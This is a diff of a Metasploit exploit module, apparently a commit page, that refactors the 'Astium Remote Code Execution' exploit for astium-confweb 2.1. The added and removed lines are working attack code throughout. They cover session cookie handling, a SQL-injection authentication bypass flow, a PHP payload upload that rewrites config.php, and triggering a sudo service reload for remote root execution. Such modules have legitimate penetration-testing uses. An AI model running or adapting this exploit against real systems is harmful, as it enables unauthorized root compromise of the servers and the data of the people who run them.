8
8
require 'msf/core'
9
9
10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
- Rank = ManualRanking
11
+ Rank = ManualRanking # Configuration is overwritten and service reloaded
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
14
include Msf ::Exploit ::FileDropper
@@ -17,12 +17,12 @@ def initialize(info={})
17
17
super ( update_info ( info ,
18
18
'Name' => "Astium Remote Code Execution" ,
19
19
'Description' => %q{
20
- This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and lower.
21
- Admin access is gained by an SQL Injection authentication bypass in the login form.
22
- Having admin access makes it possible to upload PHP code.
23
- This PHP code will modify the "/usr/local/astium/web/php/config.php" script and add our payload.
24
- A "sudo /sbin/service astcfgd reload" is executed to reload the configuration with root privileges
25
- and trigger remote code execution.
20
+ This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and
21
+ lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
22
+ admin access. From an admin session arbitrary PHP code upload is possible. It is used
23
+ to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
24
+ "sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
25
+ remote root code execution.
26
26
} ,
27
27
'License' => MSF_LICENSE ,
28
28
'Author' =>
@@ -31,13 +31,14 @@ def initialize(info={})
31
31
] ,
32
32
'References' =>
33
33
[
34
+ [ 'OSVDB' , '88860' ] ,
34
35
[ 'EDB' , '23831' ]
35
36
] ,
36
37
'Platform' => [ 'php' ] ,
37
38
'Arch' => ARCH_PHP ,
38
39
'Targets' =>
39
40
[
40
- [ 'Astium' , { } ]
41
+ [ 'Astium 2.1 ' , { } ]
41
42
] ,
42
43
'Privileged' => true ,
43
44
'DisclosureDate' => "Sep 17 2013" ,
@@ -49,10 +50,15 @@ def initialize(info={})
49
50
] , self . class )
50
51
end
51
52
52
- def check
53
- uri = target_uri . path
54
- peer = "#{ rhost } :#{ rport } "
53
+ def peer
54
+ return "#{ rhost } :#{ rport } "
55
+ end
56
+
57
+ def uri
58
+ return target_uri . path
59
+ end
55
60
61
+ def check
56
62
# Check version
57
63
print_status ( "#{ peer } - Trying to detect Astium" )
58
64
@@ -69,55 +75,24 @@ def check
69
75
end
70
76
71
77
def exploit
72
-
73
- uri = target_uri . path
74
-
75
- peer = "#{ rhost } :#{ rport } "
76
-
77
- print_status ( "#{ peer } - Retrieving cookie" )
78
- res = send_request_cgi ( {
79
- 'method' => 'GET' ,
80
- 'uri' => normalize_uri ( uri , "en" , "content" , "index.php" )
81
- } )
82
-
83
- if res && res . code == 302
84
- if ( res . get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/ )
85
- session = $1
86
- redirect = URI ( res . headers [ 'Location' ] )
87
- print_status ( "#{ peer } - Session cookie is [ #{ session } ]" )
88
- print_status ( "#{ peer } - Location is [ #{ redirect } ]" )
89
- else
90
- return fail_with ( Exploit ::Failure ::Unknown , "Session cookie not found!" )
91
- end
92
- else
93
- return fail_with ( Exploit ::Failure ::Unknown , "Retrieving cookie failed!" )
94
- end
95
-
96
- # Follow redirection process
97
- print_status ( "#{ peer } - Following redirection" )
98
- res = send_request_cgi ( {
99
- 'uri' => "#{ redirect } " ,
100
- 'method' => 'GET' ,
101
- 'cookie' => "astiumnls=#{ session } "
102
- } )
103
-
104
- if not res or res . code != 200
105
- return fail_with ( Exploit ::Failure ::Unknown , "Redirect Failed!" )
106
- end
107
-
108
-
109
78
print_status ( "#{ peer } - Access login page" )
110
79
res = send_request_cgi ( {
111
80
'method' => 'GET' ,
112
- 'cookie' => "astiumnls=#{ session } " ,
113
- 'uri' => normalize_uri ( uri , "?js=0&ctest=1&origlink=/en/content/index.php" )
81
+ 'uri' => normalize_uri ( uri ) ,
82
+ 'vars_get' => {
83
+ 'js' => '0' ,
84
+ 'ctest' => '1' ,
85
+ 'origlink' => '/en/content/index.php'
86
+ }
114
87
} )
115
88
116
- if res && res . code == 302
89
+ if res and res . code == 302 and res . get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/
90
+ session = $1
91
+ print_good ( "#{ peer } - Session cookie is [ #{ session } ]" )
117
92
redirect = URI ( res . headers [ 'Location' ] )
118
93
print_status ( "#{ peer } - Location is [ #{ redirect } ]" )
119
94
else
120
- return fail_with ( Exploit ::Failure ::Unknown , "Access to login page failed!" )
95
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Access to login page failed!" )
121
96
end
122
97
123
98
@@ -130,9 +105,10 @@ def exploit
130
105
} )
131
106
132
107
if not res or res . code != 200
133
- return fail_with ( Exploit ::Failure ::Unknown , "Redirect failed!" )
108
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Redirect failed!" )
134
109
end
135
110
111
+
136
112
sqlirandom = rand_text_numeric ( 8 )
137
113
138
114
# SQLi to bypass authentication
@@ -151,7 +127,7 @@ def exploit
151
127
} )
152
128
153
129
if not res or res . code != 302
154
- return fail_with ( Exploit ::Failure ::Unknown , "Login bypass was not succesful!" )
130
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Login bypass was not succesful!" )
155
131
end
156
132
157
133
# Random filename
@@ -191,8 +167,8 @@ def exploit
191
167
192
168
# If the server returns 200 and the body contains our payload name,
193
169
# we assume we uploaded the malicious file successfully
194
- if not res or res . code != 200
195
- return fail_with ( Exploit ::Failure ::Unknown , "File wasn't uploaded, aborting!" )
170
+ if not res or res . code != 200 or res . body !~ / #{ payload_name } /
171
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - File wasn't uploaded, aborting!" )
196
172
end
197
173
198
174
register_file_for_cleanup ( "/usr/local/astium/web/html/upload/#{ payload_name } " )
@@ -202,12 +178,12 @@ def exploit
202
178
res = send_request_cgi ( {
203
179
'method' => 'GET' ,
204
180
'uri' => normalize_uri ( uri , "upload" , "#{ payload_name } " )
205
- } , 60 )
181
+ } , 60 )
206
182
207
183
# If we don't get a 200 when we request our malicious payload, we suspect
208
184
# we don't have a shell, either.
209
185
if res and res . code != 200
210
- return fail_with ( Exploit :: Failure :: Unknown , "Exploit failed! ")
186
+ print_error ( " #{ peer } - Unexpected response... ")
211
187
end
212
188
213
189
end
0 commit comments